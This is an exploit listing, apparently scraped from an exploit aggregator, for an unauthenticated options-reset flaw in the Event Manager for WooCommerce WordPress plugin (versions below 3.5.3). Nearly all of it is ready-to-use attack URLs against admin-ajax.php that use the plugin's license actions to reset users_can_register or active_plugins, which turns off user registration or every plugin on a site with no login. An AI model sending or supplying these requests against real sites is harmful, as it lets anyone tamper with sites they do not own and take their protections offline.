Exploit for Event Manager for WooCommerce < 3.5.3 - Unauthenticated Arbitrary Options Reset

Name: Exploit for Event Manager for WooCommerce < 3.5.3 - Unauthenticated Arbitrary Options Reset
Rating: 5 (61 reviews)

2021-11-03 | CVSS 7.2

## https://sploitus.com/exploit?id=WPEX-ID:75212A4D-02E6-4164-8337-74219B2607B7
To disable user registration:
- https://example.com/wp-admin/admin-ajax.php?action=mep_wl_ajax_license_deactivate&key_option_name=users_can_register
- https://example.com/wp-admin/admin-ajax.php?action=mep_wl_ajax_license_activate&key_option_name=users_can_register

To disable all plugins: https://example.com/wp-admin/admin-ajax.php?action=mep_wl_ajax_license_deactivate&key_option_name=active_plugins